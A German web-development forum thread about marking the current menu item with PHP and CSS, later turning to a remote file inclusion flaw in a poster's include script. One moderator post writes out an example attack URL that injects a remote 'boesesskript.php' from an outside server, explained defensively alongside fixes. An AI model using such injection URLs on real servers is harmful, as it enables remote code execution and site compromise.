![]() |
Willkommen, Gast ( Anmelden | Registrierung )
![]() |
![]()
Beitrag
#1
|
|
____________________ ![]() Gruppe: Admin Beiträge: 1.220 Mitglied seit: 20.10.2001 Mitglieds-Nr.: 3 ![]() |
Hi,
ich suche schon geraume Zeit, kann mich aber nicht mehr erinnern, in welchem Zusammenhang die Lösung hier auftauchte. Ich möchte in einem Navigationsmenu (welches ich mit Includes eingebunden habe) den gerade aktiven Menupunkt per CSS optisch hervorheben. Mit PHP an sich kein Problem, wird aber vom entsprechenden WebSpace nicht unterstützt. Das Problem hatten wir hier schon mal und es gab eine verblüffende Lösung in CSS. Ich werd' verrückt, aber ich finde den Thread nicht mehr. Hat da vielleicht zufällig jemand ein Bookmark drauf? ![]() ![]() ![]() Grüße Andreas |
|
|
![]() |
![]()
Beitrag
#2
|
|
;-) ![]() Gruppe: Mods Beiträge: 246 Mitglied seit: 20.11.2001 Mitglieds-Nr.: 15 ![]() |
Guten Morgen Andreas,
Wer es zufällig die von heinzelhund vorgeschlagene Lösung im Thread Includes auswählen? cu, Guido ... geht jetzt einen Kaffee machen/trinken |
|
|
![]() ![]()
Beitrag
#3
|
|
____________________ ![]() Gruppe: Admin Beiträge: 1.220 Mitglied seit: 20.10.2001 Mitglieds-Nr.: 3 ![]() |
Perfekt! Der war's :-) Vielen Dank!
|
|
|
![]()
Beitrag
#4
|
|
____________________ ![]() Gruppe: Admin Beiträge: 1.220 Mitglied seit: 20.10.2001 Mitglieds-Nr.: 3 ![]() |
Lang ist's her ... aber jetzt brauchte ich es mal wieder
![]() HTML <? $url = array("index"=>"Home", "anfahrt"=>"Anfahrt", "kontakt"=>"Kontakt", "impressum"=>"Impressum"); ?> <div id="menu"> <ul id="menuliste"> <? while(list($key, $val) = each($url)){ echo '<li><a href="'.$key.'.php"'; if (strstr(basename($_SERVER['PHP_SELF']),$key)){ echo ' id="current"'; } echo '>'.$val.'</a></li>'."\n"; } ?> </ul> </div> </div> Nun kann man nach Herzenslust das Menu per CSS formatieren und hat mit id="current" etwas, mit dem man die aktuelle Seite gesondert markieren kann. Wahrscheinlich haben sich das zig andere auch schon ausgedacht, aber es stand hier noch nicht *g* Gruß Andreas - heute mal im Büro ... |
|
|
![]()
Beitrag
#5
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
Hallo
der thread ist zwar schon älter aber vielleicht kann mir trotzdem jemand helfen. Finde diese Idee genial! Leider hakt's bei mir noch irgendwo und ich finds einfach nicht.... Die reine Automatisierung der Linkherstellung aus dem array läuft perfekt. Die so produzierten links sehen genau aus wie meine manuellen HTML <div id="navigation"> <h2> Navigation </h2> <ul> <li><a href="http://www.x.de/index.php">Hauptseite</a></li> </ul> und verhalten sich auch so! die(vereinfachten) css-angaben dazu sehen so aus: HTML div#navigation { float: left; width: 12em; } div#navigation ul { list-style: none; } div#navigation li { color: #039; } div#navigation li a:link{ color: black; } div#navigation li a:visited{ color: #039; } div#navigation li a:hover{ color: black; } div#navigation li a:active{ color: black; } div#navigation h2 { color: #039; } Wenn der Link gleich der Seitenangabe ist wirft das script doch dies raus: HTML <li><a href="http://www.x.de/index.php" id="current">Hauptseite</a></li> ist das richtig? mit welchem css eintrag kann ich das dann manipulieren? z.B. die Frabe auf rot stellen? Vielen Dank für Eure Hilfe!!! Gruß HPVD |
|
|
![]()
Beitrag
#6
|
|
Weiss zuviel!! ![]() Gruppe: Mods Beiträge: 668 Mitglied seit: 19.04.2002 Wohnort: Grimmen Mitglieds-Nr.: 385 ![]() |
Hallo,
mit welchem css eintrag kann ich das dann manipulieren? z.B. die Frabe auf rot stellen? Zum Beispiel:HTML #current {color:red;} Und dazu noch einen Link:http://de.selfhtml.org/css/formate/zentral...dividualformate
|
|
|
![]()
Beitrag
#7
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
ja dachte ich natürlich auch das es so geht. Funktioniert aber leider nicht.
Auch nicht wenn ich es in einem händisch in dieser form erstellten link versuche. ist die vom script ausgegeben Syntax: HTML <li><a href="http://www.x.de/index.php" id="current">Hauptseite</a></li> wirklich korrekt?? darf und kann man das so und an dieser Stelle mit dem id="current" machen ?? Der Beitrag wurde von HPVD bearbeitet: 12.04.2007 - 13:01 |
|
|
![]()
Beitrag
#8
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Bei mir führt folgender HTML-Code zu einem roten Verweis:
HTML <html> und die Syntax ist auch korrekt, sofern das Ganze innerhalb von <ul></ul> auftaucht.
<head> <style type="text/css"> <!-- #current { color:red; } --> </style> </head> <body> <ul> <li><a href="http://www.x.de/index.php" id="current">Hauptseite</a></li> </ul> </body> </html> |
|
|
![]()
Beitrag
#9
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
Vielen Dank für die Unterstützung!!
Dein Beispiel funktioniert bei mir auch. Aber kann man es auch zusammen mit meinen oben angegeben anderen definitionen für den css bereich id="navigation" und die darin enthaltenen unterelemente verwenden? das HTML div#navigation { float: left; width: 12em; } macht quasi einen css frame auf und die folgenden definitionen gelten nur in diesem navigationsbereich. irgendwie will das so aber noch nicht. könnt ihr mir zufällig helfen was genau ich in die angegeben css datei und und den html teil ergänzen muss?? Wäre super klasse!! Der Beitrag wurde von HPVD bearbeitet: 12.04.2007 - 16:20 |
|
|
![]()
Beitrag
#10
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
In diesem Fall solltest du dann folgendes verwenden
HTML div#navigation #current { Wenn du wissen willst, wieso, hilft dir erneut SELFHTML weiter. Kurzgefasst: Die Angabe "div#navigation li a" ist 'spezifischer' als "#current" und überschreibt diese deshalb. Mit obiger Angabe hatte ich sowohl im IE als auch im FF einen roten Link innerhalb des "navigation"-DIVs.
color:red; } |
|
|
![]()
Beitrag
#11
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
Super, Herzlichen Dank besonders auch für die prägnante Erklärung!
Umfärben funktioniert nun auch im Nav-Bereich - zumindest bei manuell entsprechend verändertem Link. Nur das script funktioniert noch nicht ganz korrekt - es erkennt nicht wie gewünscht auf welcher Seite man ist -zumindest gibt es nie die passende Link manipulation aus (bei Quelltext-Anzeige im Browser erkennbar) Die automatische Link-Erstellung funktioniert wunderbar. weis jemand Rat ? Ist die Syntax des Scripts zur Abfrage der aktuellen Seite so def korrekt? Der Beitrag wurde von HPVD bearbeitet: 15.04.2007 - 19:25 |
|
|
![]()
Beitrag
#12
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Lass dir mal anzeigen, was mit
HTML <?php ausgegeben wird und ob das jeweils mit einem der Indizes des Arrays übereinstimmt.
echo basename($_SERVER['PHP_SELF']); ?> |
|
|
![]()
Beitrag
#13
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
Lass dir mal anzeigen, was mit HTML <?php ausgegeben wird und ob das jeweils mit einem der Indizes des Arrays übereinstimmt.echo basename($_SERVER['PHP_SELF']); ?> Eine Anmerkung und ein Trick: Anmerkung: $_SERVER["PHP_SELF"] soll manipulierbar sein (habe ich gelesen, ohne es beweisen zu können), daher kann man als Alternative $_SERVER["SCRIPT_NAME"] nehmen. Trick: Um ein auf diese Art erzeugtes Menü in jeder Verzeichnisebene verwenden zu können, sollte die Notation verändert werden. Als Beispiel nehme ich mal Andreas' Menü und verteile ein paar Seiten in Unterverzeichnisse. Die Startseite und die Anfahrtsbeschreibung liegen im Wurzelverzeichnis der Website (per PHP mit $_SERVER["DOCUMENT_ROOT"] zu ermitteln, normalerweise das Verzeichnis in dem die Startseite liegt.), die Seite mit dem Kontaktformular und das Impressum liegen im Unterverzeicnis "kontakt". Außerdem ist es mit einer kleinen Änderung möglich, aus dem Link zur momentan geladenen Seite einen Menüpunkt ohne Verlinkung zu machen. Warum sollte die aktuelle Seite auch mit sich selbst verlinkt sein. das Array: QUELLTEXT <?php $url = array( "/index.php"=>"Home", "/anfahrt.php"=>"Anfahrt", "/kontakt/kontakt.php"=>"Kontakt", "/kontakt/impressum.php"=>"Impressum"); die Verarbeitung: QUELLTEXT <?php echo '<ul>'; while(list($key, $val) = each($url)){ echo '<li>'; if (strstr($_SERVER['SCRIPT_NAME'],$key)) { echo '<span id="current">'.$val.'</span>'; } else { echo '<a href="'.$key.'">'.$val.'</a>'; } echo '</li>'."\n"; } echo '</ul>'; ?> Ich habe die Dateinamen im Unterschied zu Andreas' Lösung vollständig in das Array geschrieben. Ansonsten funktioniert alles gleich, bis auf die Tatsache, dass der Menüpunkt der aktuellen Seite kein Link ist. Der allen Pfaden vorangestellte Schrägstrich/Slash ("/") sorgt dafür, dass ein Browser davon ausgeht, dass die Angaben vom Domainnamen aus gesetzt sind (Home: www.example.com/index.php, Impressum: www.example.com/kontakt/impressum.php). Egal, in welchem Verzeichnis die aufgerufene Seite liegt, das Menü enthält immer die richtigen Pfade zu den anderen Seiten. Das Element <span> verwende ich, damit die Formatierung in allen graphischen Browsern gleich dargestellt wird. Ohne dieses zusätzliche Element müsste man sich mit dem fehlerhaften Boxmodel des MSIE herumschlagen. Tschö, Auge Der Beitrag wurde von Auge bearbeitet: 17.04.2007 - 14:40 |
|
|
![]()
Beitrag
#14
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
daher kann man als Alternative $_SERVER["SCRIPT_NAME"] nehmen. $_SERVER["SCRIPT_NAME"] evaluiert aber bei lokalen Installationen, bei denen nicht mit einem Apache-PHP-Plugin gearbeitet wird, zu etwas in der Art: "/php3-bin/php.exe". Der Name der Seite kommt dann nicht darin vor. Dann sollte man ggf. eher mit den Indizes "REQUEST_URI" oder "PATH_TRANSLATED" arbeiten. Die Konstante __FILE__ wäre eine weitere (und wirklich sichere) Möglichkeit. Auf diese Optionen hatte ich jetzt allerdings erstmal nicht verwiesen, um nicht zu sehr von der eigentlichen Ursache abzulenken. Das Problem wird momentan wohl sein, dass der (vermeintliche) Seitenname und der Index im Array nicht übereinstimmen.
|
|
|
![]()
Beitrag
#15
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
herzlichen Dank für die vielen Ideen, die Unterstützung und sogar noch weiteren Verbesserungsvorschläge!
Die Ausgabe zu überprüfen - da hätte ich ja eigentlich selbst mal drauf kommen müssen... die Ausgabe von HTML <?php echo basename($_SERVER['PHP_SELF']); ?> ist: "navigation.php" . das ist das script welches den Navigationsbereich generiert und welches ich mit HTML <body> <?php $navigation=file_get_contents("http://www.dieeinsparberater.de/navigation.php"); echo $navigation; ?> <div id="inhalt"> .... auf jeder Seite einbinde. =>die Navigation muss nur an einer Stelle gepflegt werden. Es enthält innerhalb des <div id="navigation"> das hier besprochene LinkScript und erscheint im oben beschriebenen css-frame. Weil ich noch nicht so lange dabei bin und vom Seitenlayout mittels LaTeX für Fachbücher etc... komme bin ich auch für Anregungen im Bereich des Vorgehensstrategie sehr dankbar: Ist das ein unlogisches Vorgehen im webdesign?? Würdet ihr es anders machen? Aber das wichtigste: wie komme ich aus dem navigation.php raus um die aktuelle Seite abzufragen?? Der Beitrag wurde von HPVD bearbeitet: 17.04.2007 - 19:19 |
|
|
![]()
Beitrag
#16
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
In aller Kürze: Definiere in navigation.php eine Funktion
HTML <?php die das Menü in einem String zusammensammelt und als Funktionsergebnis zurückliefert. Das Argument gibt den aktuellen Dateinamen an. function menue($curfil) { $url = array( "foobar.php"=>"Menüeintrag für foobar.php", "blabla.php"=>"Menüeintrag für blabla.php", ); $men = ''; foreach($url as $fil => $nam) { $men .= '<li><a href="'.$fil.'"'; if ($fil == basename($curfil)) $men .= ' id="current"'; $men .= '>'.$nam.'</a></li>'."\n"; } return($men); } ?> Binde navigation.php in den einzelnen Dateien mittels include() ein und übergib den aktuellen Dateinamen als Argument: HTML <?php include('navigation.php'); echo menue(__FILE__); ?> Das ist jetzt nicht getestet (könnte also durchaus ein Semikolon oder eine Klammer fehlen), aber vom Prinzip solltest du so arbeiten können. Ich gehe übrigens von PHP4 aus, falls nicht, musst du statt foreach() natürlich das while()-Konstrukt verwenden. Falls dir das so nicht klar ist, frag einfach nach. |
|
|
![]()
Beitrag
#17
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
die Ausgabe von HTML <?php echo basename($_SERVER['PHP_SELF']); ?> ist: "navigation.php" . Wenn dein Code in eben dieser Datei steht und diese Datei direkt aufgerufen wird, ja. Wenn die Datei mit include() oder require() in eine andere PHP-Datei eingefügt wird, wird der Name der Datei ausgegeben, in die navigation.php eingefügt wurde. HTML <body> <?php $navigation=file_get_contents("http://www.dieeinsparberater.de/navigation.php"); echo $navigation; ?> <div id="inhalt"> .... auf jeder Seite einbinde. =>die Navigation muss nur an einer Stelle gepflegt werden. Es enthält innerhalb des <div id="navigation"> das hier besprochene LinkScript und erscheint im oben beschriebenen css-frame. file_get_contents() ist zur Ausgabe puren Textes gedacht, da sie den Inhalt der Datei in einen String einliest (siehe php.net: Funktion file_get_contents). Wie Thomas schon schrieb, ist die Verwendung von include() der richtige Weg. Aber das wichtigste: wie komme ich aus dem navigation.php raus um die aktuelle Seite abzufragen? navigation.php wird, so sie mit include() oder require() eingebunden wurde, im Kontext dieser Datei interpretiert. Wie oben angeführt, ergibt $_SERVER['PHP_SELF'] oder auch $_SERVER['SCRIPT_NAME'] (mit den von Thomas angeführten Einschränkungen (Posting vom 17.04.2007 - 15:07)) den Namen der Datei, in die navigation.php eingebunden ist. Spätestens wenn du mit mehreren Verzeichnisebenen die Dokumente der Website sortierst, fällt aber die Verwendung von basename($_SERVER['...']) aus, da dabei der Pfad zur Datei abgeschnitten wird und alle verlinkten Dokumente im gleichen Verzeichnis vermutet werden, wo sie dann aber nicht zu finden sind. Dann ist meine Lösung (Posting vom 17.04.2007 - 14:35) die Richtige, da sie die verschiedenen Verzeichnisse berücksichtigt. Tschö, Auge PS: Zum Unterschied von include und require: Wenn in einer per require eingebundenen Datei ein Fehler auftritt, wird die Verarbeitung direkt abgebrochen, während die Verarbeitung bei Einbindung per include fortgesetzt wird. |
|
|
![]()
Beitrag
#18
|
|
is getting harder Gruppe: User Beiträge: 11 Mitglied seit: 11.04.2007 Mitglieds-Nr.: 6.770 ![]() |
hey danke, dann werde ich mal auf include "umrüsten" und es probieren!
Gruss HPVD |
|
|
![]()
Beitrag
#19
|
|
Rookie Gruppe: User Beiträge: 5 Mitglied seit: 20.12.2007 Wohnort: Leipzig Mitglieds-Nr.: 7.210 ![]() |
Hallo ich hab ein Problem mit dem Script! Undzwar bekomme ich es bei mir nicht auf die Reihe. Ich würde mich freuen wenn Ihr mir helfen könntet!
ich poste einfach mal was ich gebastelt hab damit... (leider ist hier nichts eingerückt deswegen bisschen doof zu lesen) die index.php (gekürzt) HTML <?php echo " <head>\n"; echo " </head>\n"; echo " <body>\n"; echo " <div id=\"bigwrap\">\n"; echo " <div id=\"header\">\n"; include "header.php"; echo " </div>\n"; echo " <div id=\"content_ges\">\n"; include "content_ges.php"; echo " </div>\n"; echo " <div id=\"footer\">\n"; include "footer.php"; echo " </div>\n"; echo " </div>\n"; echo " </body>\n"; echo "</html>\n"; ?> die conten_ges.php HTML <?php if(isset($_GET['section']) AND isset($dateien[$_GET['section']])) { include $dateien[$_GET['section']]; } else { include $dateien['Startseite']; } ?> die header.php HTML <?php function menue($curfil) { $url = array( "index.php?section=Startseite"=>"Startseite", "index.php?section=test1"=>"test1", "index.php?section=test2"=>"test2", ); $men = ''; foreach($url as $fil => $nam) { $men .= '<li><a href="'.$fil.'"'; if ($fil == basename($curfil)) $men .= ' id="current"'; $men .= '>'.$nam.'</a></li>'."\n"; } return($men); } ?> <div id="header_logo"> </div> <div id="navigation_top"> <div id="navi_top"> <ul> <?php echo menue(__FILE__); ?> </ul> </div> </div> die startseite.php HTML <div id="menu_left"> <div id="title_menu_back"><span class="title_text"> » Login</span><br> </div> Loginformular <div id="content_menu_close"> </div> </div> <div id="content_inner"> <div class="content_box"> <div id="title_back" style="text-align:right"><span class="title_text">» Willkommen auf sk-dezign.de</span><br> </div> </div> <div class="content_box"> TEXT<br> TEXT<br> TEXT<br> TEXT<br> TEXT<br> TEXT<br> TEXT<br> </div> <div id="content_close"></div> </div> Das sollte eigentlich alles relevante sein... |
|
|
![]()
Beitrag
#20
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Hallo ich hab ein Problem mit dem Script! Undzwar bekomme ich es bei mir nicht auf die Reihe. Ich würde mich freuen wenn Ihr mir helfen könntet! ich poste einfach mal was ich gebastelt hab damit... (leider ist hier nichts eingerückt deswegen bisschen doof zu lesen) Um es kurz zu machen: Dadurch, dass du dich hier einfach an einen bestehenden Thread angehängt hast und nicht mehr als "bekomme ich es bei mir nicht auf die Reihe" schreibst, wird dir hier niemand helfen können. Damit du eine Antwort bekommen kannst, eröffne bitte einen eigenen Thread mit einem vernüftigen, auf dein Problem bezogenen Titel und beschreibe dort: Was willst du erreichen? Was geht nicht? Hat dein Problem tatsächlich einen Bezug zu dem, was bisher in diesem Thread behandelt wurde, kannst du auch hier weitermachen, aber auch dann fehlt: Was willst du erreichen? Was geht nicht? QUELLTEXT <?php if(isset($_GET['section']) AND isset($dateien[$_GET['section']])) { include $dateien[$_GET['section']]; } else { include $dateien['Startseite']; } ?> Ich hoffe, register_globals steht bei dir auf OFF? Falls nicht, könnte man dir mit diesem Stück Code die Festplatte formatieren! |
|
|
![]()
Beitrag
#21
|
|
Rookie Gruppe: User Beiträge: 5 Mitglied seit: 20.12.2007 Wohnort: Leipzig Mitglieds-Nr.: 7.210 ![]() |
ok danke für den Tipp! Ich hab den Fehler auch schon selber gefunden zu meinem Problem....
Ich kann mir ernsthaft nicht vorstellen wie man damit meine Festplatte formatieren kann,,. desweiteren weiß ich auch nicht wie man das anders machen könnte! |
|
|
![]()
Beitrag
#22
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
ok danke für den Tipp! Ich hab den Fehler auch schon selber gefunden zu meinem Problem.... Nun, wenn du davon ausgehst, dass dein Problem und seine Lösung für andere nicht interessant sind, dann hier von mir nur ein herzlicher Glückwunsch ![]() Ich kann mir ernsthaft nicht vorstellen wie man damit meine Festplatte formatieren kann,,. CODE http://www.deinserver.de/conten_ges.php?section=1&dateien%5B1%5D=http%3A%2F%2Fwww.meinserver.de%2Fboesesskript.php Und wenn http://www.meinserver.de/boesesskript.php dann PHP-Code zum Formatieren der Festplatte enthält, führt dein Skript ihn aus (wie geschrieben, wenn register_globals auf ON steht und zudem auch noch allow_url_fopen an ist - was allerdings nicht ungewöhnlich wäre). Falls du $dateien vor der Auswertung explizit setzt (davon war in deinem Skript allerdings nichts zu sehen), kann das natürlich nicht passieren. desweiteren weiß ich auch nicht wie man das anders machen könnte! $dateien vor der Auswertung explizit setzen. Der Beitrag wurde von Thomas bearbeitet: 21.12.2007 - 14:08
Bearbeitungsgrund: Smiley eingefügt, codebox verwendet (die zwar viel zu hoch, dafür aber nicht zu breit ist) und unsinnigen Text geändert, nachdem ich den PHP-Code nochmal genau gelesen habe.
|
|
|
![]()
Beitrag
#23
|
|
Rookie Gruppe: User Beiträge: 5 Mitglied seit: 20.12.2007 Wohnort: Leipzig Mitglieds-Nr.: 7.210 ![]() |
Ah ok jetzt verstehe ich wie du das meinst! Das geht bei mir nicht man kann bei mir "?section=" da dranhängen was man will und gelangt immer auf meine Startseite auser die section ist vorhanden!
Ich hab mein Problem folgender maßen gelöst... HTML <?php function menue($curfil) { $url = array( "Startseite"=>"Startseite", "sKdeZign"=>"sKdezign", "Webdesign"=>"Webdesign", "Docs_Guides"=>"Docs & Guides", "Tools"=>"Tools", ); $current = isset($_GET['section'] ) ? $_GET['section'] : 'Startseite'; $men = ''; foreach($url as $fil => $nam) { $men .= '<li><a href="index.php?section='.$fil.'"'; if ($current == $fil) $men .= ' id="current"'; $men .= '>'.$nam.'</a></li>'."\n"; } return($men); } ?> Bei deinem Script hat bei mir die current Funktion nicht funktioniert! Nun geht das alles wie geschmiert. Das einzigste Probelm was ich nun noch hab ist das ich eine Subnavigation einbauen möchte aber noch nicht genau weiß wie ich das anstelle. z.B. wenn man auf sKdeZign klickt soll die Subnavigation erscheinen dabei soll sKdeZign current bleiben und man kann was in der Subnavigation auswählen was dann auchnoch current werden soll. Wenn man danach wieder auf die Startseite klickt soll die Subnavigation wieder verschwinden. |
|
|
![]()
Beitrag
#24
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Ah ok jetzt verstehe ich wie du das meinst! Das geht bei mir nicht man kann bei mir "?section=" da dranhängen was man will und gelangt immer auf meine Startseite auser die section ist vorhanden! Dann ist entweder register_globals auf OFF oder dein Skript conten_ges.php hat einen anderen Inhalt als den, den du angegeben hast oder du hast mein Beispiel doch noch nicht ganz verstanden (es ging darum, dass sowohl "section" als auch "datei" im Querystring angegeben sind). Bei deinem Script hat bei mir die current Funktion nicht funktioniert! Nun geht das alles wie geschmiert. Mein Skript ![]() ![]() Das einzigste Probelm was ich nun noch hab ist das ich eine Subnavigation einbauen möchte aber noch nicht genau weiß wie ich das anstelle. z.B. wenn man auf sKdeZign klickt soll die Subnavigation erscheinen dabei soll sKdeZign current bleiben und man kann was in der Subnavigation auswählen was dann auchnoch current werden soll. Wenn man danach wieder auf die Startseite klickt soll die Subnavigation wieder verschwinden. Kann mal jemand abklatschen? Ich muss noch was arbeiten. |
|
|
![]()
Beitrag
#25
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Okay, Antworten auf Cremes Frage bezüglich der Subnavigation bitte in dem dazugehörigen, neuen Thread posten (und nicht mehr hier).
|
|
|
![]()
Beitrag
#26
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
Dann ist entweder register_globals auf OFF ... Was willst du eigentlich immer mit register_globals? Es ist doch vollkommen egal, mit welcher Methode die URL von boesesskript.php übergeben wird. Ob nun $_POST["datei"] = "..."; oder $_GET["datei"] = "..."; oder was auch immer, die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Wenn register_globals auf on steht, kann der Wert natürlich auch aus einer anderen Quelle stammen bzw. über einen anderen Weg kommen. Aber wen schert es, dies nicht tun zu können, wenn als Quelle GET verlangt wird und man den Schadcode auch so einschleusen kann? Bei allow_url_fopen gebe ich dir allerdings recht. Eine weitere der methodischen Sicherheitslücken von PHP. Tschö, Auge |
|
|
![]()
Beitrag
#27
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Was willst du eigentlich immer mit register_globals? ... die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Nun, ich will nicht immer, sondern nur in diesem speziellen Fall. Das von Creme gepostet Skript (conten_ges.php) prüft nämlich den übergebenen Wert, allerdings gegen den Inhalt einer anderen Variablen, namentlich "$dateien". Und falls (entschuldige bitte, dass ich es nochmal anspreche, aber es lässt sich leider nicht vermeiden) register_globals auf ON steht, kann ich auch $dateien über den Querystring bzw. einen Formularaufruf vorgeben. Und wenn ich dem Anwender meiner Skripte erlaube, sowohl den Namen des Skriptes als auch den von mir verwendeten Prüfwert selbst festzulegen, dann kann ich mir die Prüfung auch hinter die Tapete kleben, falls du verstehst was ich meine. Sollte sich dir der Grund für meine Erwähnung von register_globals nach diesen Ausführungen erschließen, würde mich das sehr freuen. Falls nicht, bin ich natürlich gerne bereit, auch weitere freundliche Nachfragen zu beantworten ![]() |
|
|
![]()
Beitrag
#28
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
Was willst du eigentlich immer mit register_globals? ... die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Nun, ich will nicht immer, sondern nur in diesem speziellen Fall. Das von Creme gepostet Skript (conten_ges.php) prüft nämlich den übergebenen Wert, allerdings gegen den Inhalt einer anderen Variablen, namentlich "$dateien". Und falls (entschuldige bitte, dass ich es nochmal anspreche, aber es lässt sich leider nicht vermeiden) register_globals auf ON steht, kann ich auch $dateien über den Querystring bzw. einen Formularaufruf vorgeben. Ah ja, dein ... Falls du $dateien vor der Auswertung explizit setzt (davon war in deinem Skript allerdings nichts zu sehen), kann das natürlich nicht passieren. ... hatte ich überlesen. Wenn ich gegen einen übergebenen Wert prüfe -ob mit isset() oder z.B. auch in_array()- gehe ich natürlich davon aus, dass die Variable, mit der geprüft wird, auch vor dem ersten Einsatz initialisiert wurde. Mit dieser Selbstverständlichkeit geht einem die Offenheit gegenüber möglichen Fehlern anderer offensichtlich verloren. Der Einfachheit halber könnte man das System auch abändern, so dass als Wet z.B. nur Zahlen übergeben werden, die entscheiden, welche Ressource eingebunden wird. Spätestens dann, wenn die übergebene Zahl in einem (geprüft) definierten Bereich[1] liegt und damit die Auswahl einer festgelegten Ressource verbunden ist, ist die Gefahr der Einschleusung fremden Codes behoben. Schicke URLs sehen zwar anders aus, aber was solls, wer's braucht soll die Rewrite Engine anschmeißen. Und wenn ich dem Anwender meiner Skripte erlaube, sowohl den Namen des Skriptes als auch den von mir verwendeten Prüfwert selbst festzulegen, dann kann ich mir die Prüfung auch hinter die Tapete kleben, falls du verstehst was ich meine. Sicher doch, sicher. [1] Der sollte natürlich vor Maipulationen von Außerhalb geschützt sein. Tschö, Auge |
|
|
Google Bot |
![]()
Beitrag
#
|
![]() Google Ads ![]() |
|
|
|
![]() ![]() |
![]() |
Vereinfachte Darstellung | Aktuelles Datum: 01.07.2025 - 18:44 |